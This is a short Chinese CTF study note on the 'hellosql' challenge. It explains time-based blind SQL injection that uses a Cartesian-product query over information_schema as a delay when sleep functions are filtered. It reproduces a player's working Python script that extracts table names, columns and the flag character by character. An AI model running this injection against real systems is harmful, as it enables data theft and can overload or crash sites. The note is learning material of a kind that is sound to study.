题找不到了,只能学学原理了
hellosql
这道过滤了sleep等所有的延时函数,大佬的方式是用计算笛卡尔积的方式达到延时的效果
这种方式能够达到延时的效果,但是比较不稳定,如果表中数据太少可能会达不到延时的效果,如果数据太多有可能会让网站崩溃
大佬wp中的代码:
import requests
# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"
while True:
for i in range(32, 128):
burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)
print burp0_url
try:
requests.get(burp0_url, timeout=3)
if i == 127:
j = -1
except:
flag += chr(i)
print flag
j += 1
break
if j == -1:
print flag
exit(0)
笛卡尔积
后面的也都看了看,都是什么内存取证,反序列化啥的,没看懂,打算这周学完xss和ssrf下周开始学php反序列化